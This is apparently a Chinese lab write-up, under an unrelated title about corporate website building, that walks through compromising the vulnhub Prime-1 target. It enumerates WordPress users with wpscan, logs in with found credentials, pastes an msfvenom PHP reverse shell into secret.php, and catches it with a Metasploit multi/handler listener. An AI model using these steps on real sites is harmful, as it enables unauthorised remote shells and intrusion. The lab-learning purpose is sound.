企业官网建设流程全解析

前言

本次实战通过prime靶场进行操作，从寻找测试点和getshell，对各项步骤进行详细记录，以方便参考

接上一篇文章https://blog.csdn.net/qq_66136699/article/details/155752517?fromshare=blogdetail&sharetype=blogdetail&sharerId=155752517&sharerefer=PC&sharesource=qq_66136699&sharefrom=from_link

目录

一、反弹连接是什么？

一、反弹连接是什么？

简单来说就是黑客控制了目标，并建立了监听的端口，以及构建了一个可以访问的后门，这里的反弹连接是在通过在后台服务端上传木马，当客户端访问带有木马的页面时，攻击机通过监听的端口获取到了系统的shell，获得了执行命令的权限

二、使用步骤

1.准备工作

使用靶场：vulnhub-prime-1

攻击机版本：kali2025.03、

在前面的信息收集环节我们获取到了靶场 wordpress 的账号和密码

url：http://192.168.12.134/wordpress/

密码：follow_the_ippsec

2.实战操作

①登录网站

访问 wordpress 后台的url，并找到 login in 关键词

点击进去发现是一个登录页面

②指纹识别

回到 kali 攻击机对网站做一个指纹识别

wpscan --url http://192.168.12.134/wordpress/ --enumerate u

参数说明：--url 指定识别的网站地址，-enumerate u: 枚举用户名

结果显示发现了一个已注册的用户名

目前掌握的重要信息

账户：victor

密码：follow_the_ippsec

③尝试登录

登录成功！！

④寻找上传点

wordpress有一个功能，可以在系统内部编辑代码，思路是找到其中可以编辑的代码框，并上传带有反弹shell木马的代码，位置以标出

我找到的可编辑文件是 secret.php，

⑥构建shell代码

回到kali，利用 msfvenom构建php反弹连接的代码

输入这一串指令，我的 kali ip地址为：192.168.12.128

构建成功后cat查看代码并复制，开头的 / *就不用了复制了

粘贴到 wordpress 中 secret.php，并上传更新

⑦创建监听通道

回到kali，需要设置一些参数来建立监听连接

msfconsole

使用 msf 控制终端

输入以下参数，确保与 msfvenom 构建的反弹shell的文件参数一致

use exploit/multi/handler

set payload php/meterpreter/reverse_tcp

set lhost 192.168.12.128

set lport 7777

⑧反弹shell

exploit 开始监听端口，并等待反弹shell

根据wordpress的项目目录结构，可以确定 secret.php 文件在下面这个位置

为方便学习最好自己搞一套wordpress的源码研究

回车！！再回到 kali 反弹连接 shell 成功。

可以再上面输入一些简单命令，也就是说初步获取到了靶机执行命令权限

总结

本文简单介绍了反弹shell进行连接的使用，使用了msf工具构建了带有木马的shell代码，经过一层层得到信息收集和测试，最终获取到了服务端shell执行命令的权限。